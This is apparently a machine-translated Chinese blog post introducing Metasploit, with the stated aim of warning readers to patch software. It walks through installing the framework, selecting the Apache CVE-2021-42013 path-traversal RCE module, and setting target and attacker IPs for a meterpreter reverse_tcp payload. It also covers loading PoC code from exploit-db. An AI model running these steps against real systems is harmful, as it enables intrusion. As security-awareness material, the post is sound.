【简介】Metasploit框架【用于渗透测试】
你好。
我是系统解决方案部门的基础设施经理。
点击这里查看过去写的文章
有一个著名的开源软件叫Metasploit Framework。
这是用于“渗透测试”的工具,通过实际利用中间件等的漏洞来评估安全的持久性。
这次,我想准备一个可以使用上述工具的环境。
当您查看此类工具时,您可以感受到继续使用有漏洞的版本的危险,因此本文的目的就是让您意识到这一点。
*虽然是渗透工具,但请务必在自己准备的验证环境中使用。
滥用是犯罪行为,因此请自行承担使用风险。
Metasploit框架安装
和往常一样,环境准备了一个CentOS7便当盒
让我们根据文档安装该工具。
[root@localhost ~]# curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall [root@localhost ~]# chmod 755 msfinstall [root@localhost ~]# ./msfinstall
安装后,可以使用以下命令启动它。
当我运行它时,会显示一个交互式 shell。
[root@localhost ~]# /opt/metasploit-framework/bin/msfconsole ・ ・ 省略 ・ msf6 >
这很容易。
尝试一下
您可以使用搜索命令查看该工具中已包含的漏洞。
首先,我们来查找 Apache 中的漏洞。
msf6 > 搜索 httpd 匹配模块 ================ # 名称披露日期 排名检查描述 - ---- --------------- - --- ----- ----------- 0exploit/linux/http/alcatel_omnipcx_mastercgi_exec 2007-09-09 手册 否 Alcatel-Lucent OmniPCX Enterprise masterCGI 任意命令执行 1exploit/multi/http/ apache_normalize_path_rce 2021-05-10 优秀 是 Apache 2.4.49/2.4.50 遍历 RCE 2 辅助/扫描器/http/apache_normalize_path 2021-05-10 正常 否 Apache 2.4.49/2.4.50 遍历 RCE 扫描器 3 辅助/扫描器/http /mod_negotiation_brute 正常 否 Apache HTTPD mod_negotiation 文件名 Bruter 4 辅助/扫描器/http/mod_negotiation_scanner 正常 否 Apache HTTPD mod_negotiation 扫描仪 5 利用/windows/http/apache_chunked 2002-06-19 好 是 Apache Win32 分块编码 6 利用/linux/http/dlink_dspw110_cookie_noau th_exec 2015-06-12 正常 是 D-Link Cookie 命令执行 ・ ・ ・
超过20份名单出来了。
让我们使用位于顶部的“exploit/multi/http/apache_normalize_path_rce”作为主题。
如果文档根目录之外的文件不受“要求全部拒绝”保护并且显式启用 CGI,则此漏洞允许远程命令执行。
使用 use 命令选择漏洞。
msf6 > useexploit/multi/http/apache_normalize_path_rce # 如果显示如下,则 OK msf6exploit(multi/http/apache_normalize_path_rce) >
您需要输入的选项因漏洞而异,因此请使用 show options 命令检查它们。
让我们看看它的实际效果。
msf6 exploit(multi/http/apache_normalize_path_rce) > 显示选项 模块选项 (exploit/multi/http/apache_normalize_path_rce): 名称 当前设置 所需说明 ---- --------------- -- ------ ----------- CVE CVE-2021-42013 是 要使用的漏洞(已接受:CVE-2021-41773、CVE-2021-42013) DEPTH 5 是 路径遍历的深度代理 否 格式为 type:host:port[,type:host:port][...] 的代理链 RHOSTS 是 目标主机,请参阅 https://docs.metasploit.com/docs/using-metasploit /basics/using-met asploit.html RPORT 443 yes 目标端口 (TCP) SSL true no 为传出连接协商 SSL/TLS TARGETURI /cgi-bin yes 基本路径 VHOST no HTTP 服务器虚拟主机 负载选项 (linux/x64/meterpreter /reverse_tcp): 名称 当前设置 所需说明 ---- -------------- -------- ----------- LHOST 是监听地址(可以指定接口) LPORT 4444 是 监听端口 利用目标:Id 名称 -- ---- 0 自动(Dropper)
对于“必填”字段设置为“是”的项目,需要输入选项。
其中“RHOSTS(目标IP)”和“LHOST(攻击者IP)”为必填项,留空。 (其他有默认值。)
这些项目必须手动填写。
# IP 合适。 msf6利用(multi/http/apache_normalize_path_rce)>设置RHOST 192.168.1.1 RHOST => 192.168.1.1 msf6利用(multi/http/apache_normalize_path_rce)>设置LHOST 192.168.1.2 LHOST => 192.168.1.2
剩下要做的就是运行它。
msf6 漏洞利用(multi/http/apache_normalize_path_rce) > 漏洞利用
从外部获取有漏洞的代码并执行它
该漏洞的攻击代码已公开用于演示目的。 (这称为PoC)
因此,通过使用它,可以立即进行测试。
这次,我将从 Offective Security 提供的以下站点获取数据,该公司以 Kali-Linux 闻名。
https://www.exploit-db.com/
点击目标页面的下载按钮即可获取PoC代码。
将本地下载的代码复制到Metasploit的modules/exploit目录中。
在我的环境中,路径如下:
/opt/metasploit-framework/embedded/framework/modules/exploits
一旦放置,需要重新加载。
[root@localhost 漏洞利用]# /opt/metasploit-framework/bin/msfconsole msf6 > reload_all
由于 Metasploit 本身是用 Ruby 编写的,我认为该模块必须用 Ruby 编写,但似乎 Python 或 Golang 也可以。
概括
是的,你知道这有多危险吗?
就像专利一样,内容必须公开才能让公众承认其存在,恶意者可以轻松测试漏洞。
因此,继续使用旧版本的工具是危险的。
这是不言而喻的,但一定要定期更新。
(这是一场宣传活动。结束。)